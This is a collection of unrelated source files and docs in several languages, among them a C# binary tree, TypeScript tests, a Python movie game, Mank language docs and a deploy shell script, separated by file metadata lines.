final Double value); @Nullable public native Long getIntProperty(); public native void setIntProperty(@Nullable final Long value); @Nullable public native Nullable.SomeStruct getStructProperty(); public native void setStructProperty(@Nullable final Nullable.SomeStruct value); @Nullable public native Nullable.SomeEnum getEnumProperty(); public native void setEnumProperty(@Nullable final Nullable.SomeEnum value); @Nullable public native List<String> getArrayProperty(); public native void setArrayProperty(@Nullable final List<String> value); @Nullable public native List<String> getInlineArrayProperty(); public native void setInlineArrayProperty(@Nullable final List<String> value); @Nullable public native Map<Long, String> getMapProperty(); public native void setMapProperty(@Nullable final Map<Long, String> value); @Nullable public native SomeInterface getInstanceProperty(); public native void setInstanceProperty(@Nullable final SomeInterface value); }
JavaScript
UTF-8
1,132
3.84375
4
[]
no_license
const pilots = [ 'vettel', 'alonso', 'raikkonen', 'massa'] pilots.pop()// remove the last element console.log(pilots) pilots.push('vestappen') console.log(pilots) console.log(pilots.shift()) // remove the first element console.log(pilots) pilots.unshift('shumacher') // add an element in the first position console.log(pilots) //"splice" can add or delete elements in the array // to add pilots.splice(2, 0, "massa", 'botas') // I will add an element in the index two and I won't remove anyone console.log("\n", pilots) // to remove and ADD pilots.splice( 3, 2, "senna", "Prost") console.log("\n",pilots) // I will remove the from the third element, and I will remove two elements // and I will add two elements from the third element that is the second index // just to remove pilots.splice(0, 1) console.log("removing: \n" ,pilots) // part of an array const newArray = pilots.slice( 2,4)// the element in the forth position won't be returned console.log("part of my array: \n", newArray) // another way const newArray2 = pilots.slice(2) console.log("the part of the array from the third index\n", newArray2)
C#
UTF-8
4,136
3.359375
3
[]
no_license
using System; using System.Collections.Generic; using System.Text; namespace Tree { public class ThreadNode { public int data; public int lthread; public int rthread; public ThreadNode lchild; public ThreadNode rchild; //线索树构造函数 public ThreadNode() { } public ThreadNode(int data) { this.data = data; } public ThreadNode(int data,ThreadNode lchild,ThreadNode rchild) { this.data = data; this.lchild = lchild; this.rchild = rchild; } } public class ThreadBinaryTree<T> { public ThreadNode root;//线索二叉树根节点 public ThreadNode Root { get { return this.root; } } public ThreadBinaryTree() { root = null; } public ThreadBinaryTree(int[] data) { for (int i =0; i < data.Length; i++) { AddNodeToTree(data[i]); } } public void AddNodeToTree(int value) { ThreadNode newnode = new ThreadNode(value); ThreadNode current; ThreadNode parent; ThreadNode previous = new ThreadNode(value); int pos; //设置线索二叉树开头节点 if(root == null) { root = newnode; root.lchild = root; root.rchild = null; root.lthread = 0; root.rthread = 1; return; } //设置开头节点所指的节点 current = root.rchild; if(current == null) { root.rchild = newnode; newnode.rchild = root; newnode.lchild = root; return; } parent = root; pos = 0; while(current != null) { if(current.data > value) { if (pos != -1) { pos = -1; previous = parent; } parent = current; if (current.lthread == 1) current = current.lchild; else current = null; } else { if (pos != 1) { pos = 1; previous = parent; } parent = current; if (current.rthread == 1) current = current.rchild; else current = null; } } if(parent.data > value) { parent.lthread = 1; parent.lchild = newnode; newnode.lchild = previous; newnode.rchild = parent; } else { parent.rthread = 1; parent.rchild = newnode; newnode.rchild = previous; newnode.lchild = parent; } return; } //线索二叉树中序遍历 public void MidOrder() { ThreadNode temNode; temNode = root; do { if (temNode.rthread == 0)//节点右线索字段是否为0 指针为线索 { temNode = temNode.rchild; } else { temNode = temNode.rchild; while (temNode.lthread != 0) { temNode = temNode.lchild; } } if (temNode != root) Console.WriteLine("[" + temNode.data + "]"); } while (temNode != root); } } }
TypeScript
UTF-8
1,712
3.109375
3
[ "MIT" ]
permissive
import * as assert from 'assert'; import * as sassVar from '.'; describe('sassVar.generate(name: string, value: any): string', () => { it('should raise when the object includes undefined', () => { assert.throws( () => sassVar.generate('var', undefined), // NOTE: Hack for `TypeError [ERR_AMBIGUOUS_ARGUMENT]` raised in Node v10 or later process.version.match(/^v[0-9]\./) ? "undefined can't be used" : { message: "undefined can't be used" } ); }); it('should generate a Sass variable, which type of value is null', () => { assert.strictEqual(sassVar.generate('var', null), '$var:null;'); }); it('should generate a Sass variable, which type of value is bool', () => { assert.strictEqual(sassVar.generate('var', true), '$var:true;'); assert.strictEqual(sassVar.generate('var', false), '$var:false;'); }); it('should generate a Sass variable, which type of value is number', () => { assert.strictEqual(sassVar.generate('var', 46), '$var:46;'); }); it('should generate a Sass variable, which type of value is string', () => { assert.strictEqual(sassVar.generate('var', 'nogizaka'), '$var:nogizaka;'); }); it('should generate a Sass variable, which type of value is list', () => { assert.strictEqual(sassVar.generate('var', ['foo', 'bar']), '$var:(foo,bar);'); }); it('should generate a Sass variable, which type of value is map', () => { assert.strictEqual(sassVar.generate('var', { foo: 'bar', baz: 'qux' }), '$var:(foo:bar,baz:qux);'); }); it('should fallback with toString()', () => { const func = () => {}; assert.strictEqual(sassVar.generate('var', func), `$var:${func.toString()};`); }); });
JavaScript
UTF-8
1,064
2.578125
3
[]
no_license
const nodemailer = require('nodemailer'); // function to be called with api route const mailFunc = (from, to, message) => { // creates the transporter object with necessary data to send out emails const transporter = nodemailer.createTransport({ host: "smtp.sendgrid.net", port: 587, secure: false, // upgrade later with STARTTLS auth: { user: "apikey", pass: process.env.DB_API || process.env.JAWSDB_API, }, }); // data that is automatically passed through combined with data that the user passes through to send the email const mailOptions = { from:"yummisocks@outlook.com", to: to, subject: `You have been invited!!! by ${from}`, text: `${message} click the link!! https://group-event-planner.herokuapp.com/login` }; // function for sending the email transporter.sendMail(mailOptions, function(error, info){ if (error) { console.log(error); } else { console.log('Email sent: ' + info.response); } }); } module.exports = mailFunc
Python
UTF-8
1,823
2.640625
3
[ "MIT" ]
permissive
import matplotlib.pyplot as plt memcached = [] seastar_memcached = [] nginx = [] iperf3 = [] data = [ # memcached, { 'x': [1.05, 2.07, 3.18, 4.22, 5.27, 6.38, 7.44, 8.40, 12.30, 16.34, 33.57, 64], 'y': [467.6, 1046.4, 1528, 1903.2, 2383.2, 2785.6, 3164, 3280, 4524, 5716.8, 9600, 11200], 'label': 'Memcached-Linux', 'color': 'green', 'marker': 'o', }, # seastar_memcached, { 'x': [1, 2, 3, 4, 5, 6, 7, 8, 12, 16, 32, 64], 'y': [1320, 1622, 2259, 2746, 3165, 3628, 3936, 4257, 5498, 6409, 10394, 12126.3], 'label': 'Memcached-DPDK', 'color': 'blue', 'marker': '*', }, # nginx, { 'x': [1,2,4,16,32,64], 'y': [1624, 3500, 6504, 35200, 47200, 60800], 'label': 'Nginx-Linux', 'color': 'magenta', 'marker': 's', }, #iperf3, { 'x': [1,2,3,4,5], 'y': [3250, 60000, 76800, 84000, 89600], 'label': 'IPerf3-Linux', 'color': 'purple', 'marker': 'p', }, ] def plot(fig, ax, data): print(data['label']) ax.plot(data['x'], [t/1000 for t in data['y']], label=data['label'], marker=data.get('marker', '*'), color=data.get('color', 'red')) # lastx = data['x'][-1] # lasty = data['y'][-1] # prex = data['x'][-1] # prey = data['y'][-1] # m = (lasty- prey) / (lastx-prex) # goal = 100000 figsize=(4,4) fig = plt.figure(figsize=figsize) ax = fig.add_subplot(1,1,1) for dt in data: plot(fig, ax, dt) ax.set_ylabel('Gbps') ax.set_xlabel('# Core') ax.legend() ax.grid(linestyle='dotted') fig.savefig('Figure_1.png', dpi=300) plt.show()
Java
UTF-8
1,954
2.140625
2
[]
no_license
package com.epoch.framework.web.component.element; import java.util.Map; import java.util.Set; import javax.faces.component.html.HtmlInputHidden; import org.apache.commons.lang.StringUtils; import com.epoch.framework.web.utils.FacesContextUtils; /** * Created by IntelliJ IDEA. * User: else * Date: 2011-2-28 * Time: 17:16:16 */ public class EPInputHiddenText extends HtmlInputHidden implements java.io.Serializable { public EPInputHiddenText() { this.setRendererType("com.epoch.InputHidden"); } private boolean breakBefore = false; public boolean isBreakBefore() { return breakBefore; } public void setBreakBefore(boolean breakBefore) { this.breakBefore = breakBefore; } public EPInputHiddenText(String valueExpression) { setValueExpression(valueExpression); this.setRendererType("com.epoch.InputHidden"); } public EPInputHiddenText(String valueExpression, String styleClass,Map<String,Object> map) { this.setRendererType("com.epoch.InputHidden"); if(map != null){ Set<String> keySet = map.keySet(); if(keySet !=null && keySet.size() > 0){ for (String key : keySet) { if(StringUtils.isNotBlank(key)){ if("itemvarname".equals(key)){ if(map.get(key) != null){ this.getAttributes().put("itemvarname", map.get(key)); } }else if("areaType".equals(key)){ if(map.get(key) != null){ this.getAttributes().put("areaType", map.get(key)); } }else if("dataType".equals(key)){ if(map.get(key) != null){ this.getAttributes().put("dataType", map.get(key)); } } } } } } setValueExpression(valueExpression); } public void setWidth(String width){ } public void setValueExpression(String valueExpression){ this.setValueExpression("value", FacesContextUtils.createValueExpression(valueExpression)); } }
Python
UTF-8
7,669
2.65625
3
[]
no_license
import sys import random from django.utils.functional import Promise import requests import pickle from django.conf import settings class GameObject: def __init__(self, x = 0, y = 0): self.pos_x = x self.pos_y = y def x_position(self): return self.pos_x def y_position(self): return self.pos_y def position(self): return self.pos_x, self.pos_y class Player(GameObject): def __init__(self, x = 0, y = 0): super().__init__(x, y) self.power = 0 def load_default_settings(self): self.pos_x = settings.START_POINT[0] self.pos_y = settings.START_POINT[1] def load_data(self, cache): if cache == None: raise Player.PlayerClassError("loading Error in Class:Player < Game.py : no cache file") self.pos_x = cache['player_pos'][0] self.pos_y = cache['player_pos'][1] self.power = cache['strength'] def strength(self): return self.power def move(self, x_inc, y_inc): dest_pos_x = self.pos_x + x_inc dest_pos_y = self.pos_y + y_inc return dest_pos_x, dest_pos_y def percentage(self, monster_power): atk = 50 - int(monster_power * 10) + (self.strength() * 5) if atk < 1: atk = 1 if atk > 90: atk = 90 return atk def attack(self, monster_power): atk = self.percentage(monster_power) r_num = random.randrange(0, 100) if r_num < atk: return True return False @staticmethod class PlayerClassError(Exception): def __init__(self, str = 'Error in Class:Player < Game.py'): super().__init__(str) class World: def __init__(self, size_x = settings.GRID_SIZE, size_y = settings.GRID_SIZE): self.grid_x = size_x self.grid_y = size_y def load_default_settings(self): self.grid_x = settings.GRID_SIZE self.grid_y = settings.GRID_SIZE def load_data(self, cache): None class Movie: def __init__(self): self.captured = [] def load_default_settings(self, lst = settings.MOVIES): try: dic = {} for movie in lst: this_json = Movie.get_movie(movie) dic[movie] = this_json self.moviedex = dic except Movie.MovieClassError as e: print(e) def load_data(self, cache): if cache == None: raise Movie.MovieClassError("loading Error in Class:Movie < Game.py : no cache file") self.captured = cache['captured'] self.moviedex = cache['moviedex'] def __check_captured_dup(self, add): dup = self.captured dup.append(add) if len(dup) == len(set(dup)): dup.remove(add) return True dup.remove(add) return False def capture(self, id): if self.__check_captured_dup(id) == True: self.captured.append(id) def get_random_movie(self): result = False while result == False: id = random.choice(settings.MOVIES) result = self.__check_captured_dup(id) return id, self.moviedex[id] @staticmethod def get_movie(id = ''): params = { 'i':id, 'r':'json', 'apikey':"c94fad6" } URL = 'http://www.omdbapi.com/' response = requests.get(URL, params = params) if response.ok == False: raise Movie.MovieClassError("request Error in Class:Movie < Game.py") my_json = response.json() return my_json @staticmethod class MovieClassError(Exception): def __init__(self, str = 'Error in Class:Movie < Game.py'): super().__init__(str) class Game: def __init__(self): self.player = Player() self.world = World() self.movie = Movie() self.movie_balls = 0 self.battle = False self.battle_result = None #//////////////// #//data control// #//////////////// def load_default_settings(self): self.player.load_default_settings() self.world.load_default_settings() self.movie.load_default_settings() self.movie_balls = settings.BALL_COUNT def dump_data(self): return { 'player_pos' : self.player.position(), 'ball_count' : self.movie_balls, 'strength' : self.player.strength(), 'captured' : self.movie.captured, 'moviedex' : self.movie.moviedex, 'battle' : self.battle, } def load_data(self, cache): try: if cache == None: raise Game.GameClassError("loading Error in Class:Game < Game.py : no cache file") self.player.load_data(cache) self.world.load_data(cache) self.movie.load_data(cache) self.movie_balls = cache['ball_count'] self.battle = cache['battle'] except Game.GameClassError as e: print(e) #//////////////// #//////get/////// #//////////////// def get_strength(self): return self.player.strength() def get_random_movie(self): return self.movie.get_random_movie() @staticmethod def get_movie(id = ''): return Movie.get_movie(id) #//////////////// #/Player control/ #//////////////// def __move_player_Up(self): if self.player.y_position() >= self.world.grid_y - 1: return None return self.player.move(0, 1) def __move_player_Down(self): if self.player.y_position() <= 0: return None return self.player.move(0, -1) def __move_player_Right(self): if self.player.x_position() >= self.world.grid_x - 1: return None return self.player.move(1, 0) def __move_player_Left(self): if self.player.x_position() <= 0: return None return self.player.move(-1, 0) _player_move = { 'Up' : __move_player_Down, 'Down' : __move_player_Up, 'Left' : __move_player_Left, 'Right' : __move_player_Right } def move_player(self, order): return (self._player_move[order](self)) #//////////////// #/////battle///// #//////////////// def battle_start(self): self.battle = True def battle_end(self): self.battle_result = None self.battle = False def battle_status(self): return self.battle def player_Attack(self, m_id = None): if self.movie_balls <= 0: return None self.movie_balls -= 1 if self.player.attack(float(self.movie.moviedex[m_id]['imdbRating'])) == True: self.movie.capture(m_id) self.player.power = len(self.movie.captured) #잡았을 때 분기 return True else: #놓쳤을 때 분기 return False #//////////////// #//pickle_cache// #//////////////// def dump_cache(self, _cache): try: with open('cache.pkl', 'wb') as cache: pickle.dump(_cache, cache) except Game.GameClassError as e: print (e) def load_cache(self): try: self.cache = {} with open('cache.pkl', 'rb') as cache: self.cache = pickle.load(cache) return self.cache except Game.GameClassError as e: print(e) @staticmethod class GameClassError(Exception): def __init__(self, str = 'Error in Class:Game < Game.py'): super().__init__(str)
Markdown
UTF-8
5,405
3.421875
3
[]
no_license
## Builtin functions and macros ### I/O functions ```mank fun putchar: i32 (c: char) ``` Writes a single character `c` to `stdout` and returns the character written if successful and `-1` if not. --- ```mank fun stderr_putchar: i32 (c: char) ``` Same as `putchar` but writes to `stderr`. --- ```mank fun getchar: i32 ``` Returns a single character read from `stdin` or `-1` if the read fails. --- ```mank proc print(s: str) ``` Prints the string `s` to `stdout`. --- ```mank proc println(s: str) ``` Prints the string `s` to `stdout` with a newline. --- ```mank proc eprint(s: str) ``` Prints the string `s` to `stderr`. --- ```mank proc eprintln(s: str) ``` Prints the string `s` to `stderr` with a newline. --- ```mank fun input: str ``` Reads a line from `stdin` and returns it as a string (without the newline). --- ```mank fun prompt: str (msg: str) ``` Same as `input` but, if the message (`msg`) is non-empty print it first with a trailing space. --- ```mank fun input_int: i32 ``` Attempts to return an integer read from `stdin` (using `input`), if what is read is not an integer the user is asked to try again. --- ```mank fun prompt_int: i32 (msg: str) ``` Same as `input_int` but adds a prompt in the same way as the `prompt` function. --- ### Maths functions All trigonometric assume their inputs are in radians. ```mank fun sqrt: f64 (f: f64) ``` Calculates the square root of `f`. --- ```mank fun pow: f64 (x: f64, y: f64) ``` Calculates `x` raised to the power `y`. --- ```mank fun sin: f64 (f: f64) ``` Calculates the sine of `f`. --- ```mank fun cos: f64 (f: f64) ``` Calculates the cosine of `f`. --- ```mank fun tan: f64 (f: f64) ``` Calculates the tangent of `f`. --- ```mank fun asin: f64 (f: f64) ``` Calculates the inverse sine of `f`. --- ```mank fun atan2: f64 (x: f64, y: f64) ``` Calculates the (2-argument) arctangent of `(x,y)`. ### Utility functions ```mank fun parse_int: (i32,bool) (s: str) ``` Attempt to parse the given string as an integer. The string is assumed to to be in base 10. If the parse succeeds: - the tuple `(n, true)` is returned (where `n` is the parsed integer) - otherwise, `(-1, false)` is returned, the second element `false` indicates the parse failed --- ```mank fun int_to_string: str (i: i32) ``` Returns the (base 10) string representation of the integer `i`. --- ```mank fun str_compare: i32 (a: str, b: str) ``` [Lexicographically compares](https://en.wikipedia.org/wiki/Lexicographic_order) two strings. The result is negative if $a \lt b$, zero if $a = b$, and positive if $a \gt b$. --- ```mank fun str_equal: bool (a: str, b: str) ``` Compares two strings and returns `true` if they are the same and `false` if not. ### Vector functions Vector functions (are currently) special pseudo generic functions. They use the syntax of generics (that are as yet unimplemented) but are internally translated to type erased builtin functions. For all functions other than `new_vec` the generic types can be inferred. ``` fun (T) new_vec: T[] ``` `new_vec(T)()` constructs a new empty vector ([list type](#list-types)) of type `T`. --- ``` proc (T) push_back(v: ref T[], e: T) ``` Appends an element `e` to the back (end) of a vector `v`. --- ``` proc (T) pop_back(v: ref T[]) ``` Removes the last element from the vector `v`. --- ``` proc (T) fill_vec(v: ref T[], e: T, count: i32) ``` Populates the vector `v` with `count` copies of the element `e`. If the vector is non-empty it is emptied first. ### Exceptional functions ```mank proc abort ``` Abnormally terminates the program by raising a `SIGABRT` signal. --- ```mank proc fail(msg: str) ``` Abort (using `abort`) the program and provide a message to print to `stderr`. ### Macros Given a function or lambda `f` ```mank pbind!(f,p1,p2,…,pn) ``` constructs a version of `f` with the last n parameters of bound (to fixed to a value). --- Given a function or lambda `f` ```mank curry!(f) ``` constructs a [curried](https://en.wikipedia.org/wiki/Currying) version of `f`. --- The `print!` macro (and its friends `println!`, `eprint!`, and `eprintln!`) are used to format and print a string. The first argument must be a [string literal](#string-literals) which is the template, then additional parameters replace holes in the template given by `{}`. All parameters of a print macro must be strings and the number of holes in the template must match the number of additional parameters. ```mank eprintln!("No file named {} in {}", filename, folder); print!("Hello {name}!", name); # text inside a hole is ignored ``` --- The `assert!` is used to make sure a constraint or invariant has not been broken. It takes a boolean expression and optionally a string. If the expression evaluates to `true` nothing happens, however, if it evaluates to `false`, the assertion fails. If an assertion fails, the filename and line number along with the failing expression and, if provided, the string (message) are printed to `stderr`. ```mank assert!(1 + 1 == 2); assert!(v.length > 0, "can not pop back on empty vector"); ``` --- The `vec!` macro is used to construct a populated vector from an [array literal](#array-literals). ```mank vec!([1,2,3,4]) vec!(["the", "cat", "sat", "on", "the", "mat"]) ``` <br/> <div style="text-align:center "> ...and they all lived happily ever after!<br/> <b>The End.</b> </div>
C++
UTF-8
1,963
3.21875
3
[]
no_license
#include <deque> #include <iostream> #include <algorithm> #define sz(a) int((a).size()) #define all(c) (c).begin(),(c).end() #define tr(c,i) for(typeof((c).begin()) i = (c).begin(); i != (c).end(); i++) #define FOR(a,b,i) for(int i=a; i<=b; i++) #define RFOR(a,b,i) for(int i=a; i>=b; i--) #define SET(c,x) memset(c,x,sizeof(c)) #define pb push_back using namespace std; class BigNumber{ private: // 0 for +ve ; 1 for -ve int sign; deque<int> num; public: BigNumber (){} BigNumber(string s){ if(s[0] == '-') sign = 1; else sign = 0; int len = s.length(); FOR(0,len-1,i){ num.pb(s[i]-'0'); } } BigNumber(deque<int> s){ sign = 0; int len = sz(s); FOR(0,len-1,i){ num.pb(s[i]); } } void operator =(const BigNumber a ){ num.clear(); sign = a.sign; FOR(0,sz(a.num)-1,i) num.pb(a.num[i]); } void disp(){ if(sign == 1) cout << "-"; tr(num,it) cout << *it; } // To multiply bignumber with a integer BigNumber operator * (const int a){ int m,carry = 0; int i = sz(num)-1; deque<int> temp; while(i>=0){ m = num[i]*a + carry; carry = m/10; m %= 10; temp.push_front(m); i--; } while(carry > 0){ temp.push_front(carry%10); carry /= 10; } return BigNumber(temp); } }; int main(){ int t,n; cin >> t; while(t--){ cin >> n; BigNumber fact("1"); FOR(2,n,i){ fact = fact * i; } fact.disp(); cout << endl; } return 0; }
C#
UTF-8
1,588
2.75
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using FreeRock.Data; using FreeRock.Models; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace FreeRock.Controllers { public class GenresController : Controller { ApplicationDbContext _context; public GenresController(ApplicationDbContext context) { _context = context; } // GET: Genres public ActionResult Index() { return View(); } // GET: Genres/Details/5 [HttpGet("Genres/{id:int:min(1)}")] public ActionResult Details(int id) { var genre = _context.Genres.FirstOrDefault(x => x.ID == id); if (genre is null) return NotFound(); return View(genre); } public object GetGenres() => _context.Genres .Select(x => new { id = x.ID, name = x.Name }) .ToList(); public object GetAlbumsByGenre(int page, int perPage, int id) { var res = _context.Genres.FirstOrDefault(x => x.ID == id); if (res is null) return new { data = new List<AlbumMin>(), lastPage=0}; var albums = res.GenreAlbums.Select(x => x.Album); var count = albums.Count(); var lastPage = Math.Ceiling((double)count / perPage); var data = albums.Skip((page - 1) * perPage).Take(perPage).Select(x => new AlbumMin(x)); return new { data, lastPage }; } } }
C
UTF-8
1,015
2.765625
3
[]
no_license
/* Rewritten using /std, Mats 960220 */ inherit "/std/basic_room"; reset(arg) { if (arg) return; set_light(1); add_property("hills"); add_property("water"); set_short("Rolling hills"); set_long("You are in some rolling hills and they continue in all directions.\n" + "To the west you can see a cascading river.\n"+ "There is a stone house here.\n"); add_item("river","The water is wild and you even get some drops in yor face."); add_item("house","It is a stone house. There is a sign on the door."); add_item("door","It is a large wooden door with a sign on."); add_item("sign","There is some text on the sign, try to read it."); add_item_cmd("enter","house","@enter_house()"); add_item_cmd("read","sign","The sign says: House of Paragons.\n"); add_exit("east", "hill5"); add_exit("south","hill7"); } enter_house() { write("You open the door to the house and enter it.\n"); this_player()-> move_player("into the house#room/paragon_entry_room"); return 1; }
Markdown
UTF-8
2,893
2.875
3
[]
no_license
# bcode-algorithm-test ## 최초 제안내용 * 가정 1. 손으로 하는거니까 칠할때 빽빽히 1픽셀도 안남기고 칠하는 경우는 없을 것 2. 최소 해당 칸의 절반 이상은 칠해야 인식이 되고라고는 알려줘야 함 * 기존 알고리즘 1. 전체 영역을 9칸(3x3)으로 등분 2. 전체 9칸의 픽셀 값 평균과 각 칸의 픽셀 값 평균을 비교함 3. 각 칸의 평균이 전체 평균보다 낮으면 칠해짐(1) or 높으면 안칠해짐(0) 으로 판단 * 개선 알고리즘 1. 전체 영역을 9칸(3x3)으로 등분 2. 각 칸에서 내접원을 그린 후 원안에 있는 픽셀만 고려 3. 각 칸에서 모든 픽셀을 대상으로 k=2인 k-means 알고리즘 수행(https://ko.wikipedia.org/wiki/K-%ED%8F%89%EA%B7%A0_%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98) 4. 3에서 얻은 각 영역의 평균의 비율(높은값/낮은값)을 계산(A)함 5. 각 영역에서 클러스터링된 샘플들의 숫자의 비율을 계산(B)함 6. B가 35~65이면서 A가 3이상인 영역을 칠해짐(1) or 그렇지 않으면 안칠해짐(0)으로 판단 7. 6의 판단 기준 숫자들(35,65,3)은 변경 될 수 있음 ## 20180115 * 기본 정보 1. 갤럭시 S3 사진 해상도 최대 : 3264x2448 2. A4 용지 캡쳐 해상도 : 1070x1518 3. 갤럭시 S3 에서 찍은 사진의 A4 용지의 최대 영역 : 3264x2300 4. A4 용지에서 비코드 해상도 : 154x154 5. 갤럭시 S3 에서의 해상도 : 330x330 6. 최종 리사리즈 해상도 : 150x150 * 현재 엔진 성능 1. 기본 성능 : 8.33% 2. 가장자리 크롭 : 37.96% * 요구 사항 1. 데이터셋을 더 정교하게 만들어야 함 2. 실제 용지에 색칠해서 데이터셋을 새로 만들어 보자 * 사용 방법 1. git clone https://github.com/kdh812/bcode-algorithm-test 2. cd bcode-algorithm-test 3. npm install 4. node index.js ## 20180220 * 개선 내용 1. 크롭된 이미지도 출력하게 변경 2. 최신 데이터셋 사용 3. 이미지 크롭 알고리즘을 150기준의 픽셀로 변경 4. 기본 성능: 54% 5. 가장자리 크롭: 14일때 74% * 0: 54% * 1: 55% * 2: 58% * 3: 62% * 4: 64% * 5: 67% * 6: 68% * 7: 68% * 8: 69% * 9: 71% * 10: 72% * 11: 73% * 12: 73% * 13: 73% * 14: 74% * 15: 73% * 16: 72% * 17: 72% * 18: 72% * 19: 70% * 20: 69% 6. 내접원 알고리즘 적용 - 하나 박스 크기가 50: 19일때 79% * 25: 77% * 24: 78% * 23: 78% * 22: 78% * 21: 78% * 20: 79% * 19: 79% * 18: 79% * 17: 78% * 16: 77% * 15: 77% 7. 몇개가 틀린지 카운트하는 로직 추가
Java
UTF-8
768
3.6875
4
[]
no_license
// The sort method uses the compareTo() method to sort. It expects the objects to be sorted to be comparable, otherwise it will not compile when calling sort(list). // But you can fix this by passing a comparator to sort() method - sort(list, comparator), meaning you can specify sort order without using compareTo() method if you pass a comparator. package p150_sorting; import java.util.*; import p150_sorting.SortRabbits.Rabbit; public class SortRabbit2 { static class Rabbit{ int id; } public static void main(String[] args) { List<Rabbit> rabbits = new ArrayList<>(); rabbits.add(new Rabbit()); Comparator<Rabbit> c = (r1, r2) -> r1.id - r2.id; // declare a comparator Collections.sort(rabbits, c); // pass a comparator to sort() method } }
Shell
UTF-8
465
3.265625
3
[ "MIT" ]
permissive
#!/bin/sh build() { ./gradlew build } upload() { scp ./build/libs/ROOT.war wolfsound@wolfsound.ddns.net:docker$1/webapp/ROOT.war } wolfsound() { ssh wolfsound@wolfsound.ddns.net './prepare.sh' scp ./build/libs/ROOT.war wolfsound@wolfsound.ddns.net:docker/webapp/ROOT.war ssh wolfsound@wolfsound.ddns.net 'cd docker; sudo docker-compose push; sudo docker stack deploy --compose-file docker-compose.yml tomcat' } case $1 in wolfsound) build && wolfsound ;; *) build && upload $1 ;; esac
C#
UTF-8
6,500
2.625
3
[ "MIT" ]
permissive
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; namespace Voxels.Utils.Collisions { public class Intersection { // based on https://www.scratchapixel.com/lessons/3d-basic-rendering/minimal-ray-tracer-rendering-simple-shapes/ray-box-intersection public static bool Intersects(Ray r, AABB aabb, out float dist) { float tmin, tmax, tymin, tymax, tzmin, tzmax; dist = 0f; tmin = ((r.Sign.x <= float.Epsilon ? aabb.Min.x : aabb.Max.x) - r.Point.x) * r.InvDir.x; tmax = ((r.Sign.x <= float.Epsilon ? aabb.Max.x : aabb.Min.x) - r.Point.x) * r.InvDir.x; tymin = ((r.Sign.y <= float.Epsilon ? aabb.Min.y : aabb.Max.y) - r.Point.y) * r.InvDir.y; tymax = ((r.Sign.y <= float.Epsilon ? aabb.Max.y : aabb.Min.y) - r.Point.y) * r.InvDir.y; if ( (tmin > tymax) || (tymin > tmax) ) { return false; } if ( tymin > tmin ) { tmin = tymin; } if ( tymax < tmax ) { tmax = tymax; } tzmin = ((r.Sign.z <= float.Epsilon ? aabb.Min.z : aabb.Max.z) - r.Point.z) * r.InvDir.z; tzmax = ((r.Sign.z <= float.Epsilon ? aabb.Max.z : aabb.Min.z) - r.Point.z) * r.InvDir.z; if ( (tmin > tzmax) || (tzmin > tmax) ) { return false; } if ( tzmin > tmin ) { tmin = tzmin; } if ( tzmax < tmax ) { tmax = tzmax; } dist = tmin; return true; } public static bool Intersects(AABB aabb, Ray r, out float dist) { return Intersects(r, aabb, out dist); } // based on https://en.wikipedia.org/wiki/M%C3%B6ller%E2%80%93Trumbore_intersection_algorithm public static bool Intersects(Ray r, Triangle tri) { var e1 = tri.B - tri.A; var e2 = tri.C - tri.A; var P = Vector3.Cross(r.Dir, e2); var det = Vector3.Dot(e1, P); if ( det > -float.Epsilon && det < float.Epsilon ) return false; float invDet = 1f / det; var T = r.Point - tri.A; var u = Vector3.Dot(T, P) * invDet; if ( u < 0f || u > 1f ) return false; var Q = Vector3.Cross(T, e1); var v = Vector3.Dot(r.Dir, Q * invDet); if ( v < 0f || u + v > 1f ) return false; var t = Vector3.Dot(e2, Q) * invDet; if ( t > float.Epsilon ) { return true; } return false; } public static bool Intersects(Triangle tri, Ray r) { return Intersects(r, tri); } // based on https://gist.github.com/yomotsu/d845f21e2e1eb49f647f public static bool Intersects(Triangle tri, AABB aabb) { float p0, p1, p2, r; Vector3 center = aabb.Center, extents = aabb.Max - center; Vector3 v0 = tri.A - center, v1 = tri.B - center, v2 = tri.C - center; Vector3 f0 = v1 - v0, f1 = v2 - v1, f2 = v0 - v2; Vector3 a00 = new Vector3(0, -f0.z, f0.y), a01 = new Vector3(0, -f1.z, f1.y), a02 = new Vector3(0, -f2.z, f2.y), a10 = new Vector3(f0.z, 0, -f0.x), a11 = new Vector3(f1.z, 0, -f1.x), a12 = new Vector3(f2.z, 0, -f2.x), a20 = new Vector3(-f0.y, f0.x, 0), a21 = new Vector3(-f1.y, f1.x, 0), a22 = new Vector3(-f2.y, f2.x, 0); // Test axis a00 p0 = Vector3.Dot(v0, a00); p1 = Vector3.Dot(v1, a00); p2 = Vector3.Dot(v2, a00); r = extents.y * Mathf.Abs(f0.z) + extents.z * Mathf.Abs(f0.y); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a01 p0 = Vector3.Dot(v0, a01); p1 = Vector3.Dot(v1, a01); p2 = Vector3.Dot(v2, a01); r = extents.y * Mathf.Abs(f1.z) + extents.z * Mathf.Abs(f1.y); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a02 p0 = Vector3.Dot(v0, a02); p1 = Vector3.Dot(v1, a02); p2 = Vector3.Dot(v2, a02); r = extents.y * Mathf.Abs(f2.z) + extents.z * Mathf.Abs(f2.y); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a10 p0 = Vector3.Dot(v0, a10); p1 = Vector3.Dot(v1, a10); p2 = Vector3.Dot(v2, a10); r = extents.x * Mathf.Abs(f0.z) + extents.z * Mathf.Abs(f0.x); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a11 p0 = Vector3.Dot(v0, a11); p1 = Vector3.Dot(v1, a11); p2 = Vector3.Dot(v2, a11); r = extents.x * Mathf.Abs(f1.z) + extents.z * Mathf.Abs(f1.x); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a12 p0 = Vector3.Dot(v0, a12); p1 = Vector3.Dot(v1, a12); p2 = Vector3.Dot(v2, a12); r = extents.x * Mathf.Abs(f2.z) + extents.z * Mathf.Abs(f2.x); if ( Mathf.Max(-Mathf.Max(p0, p1, p2), Mathf.Min(p0, p1, p2)) > r ) { return false; } // Test axis a20 p0 = 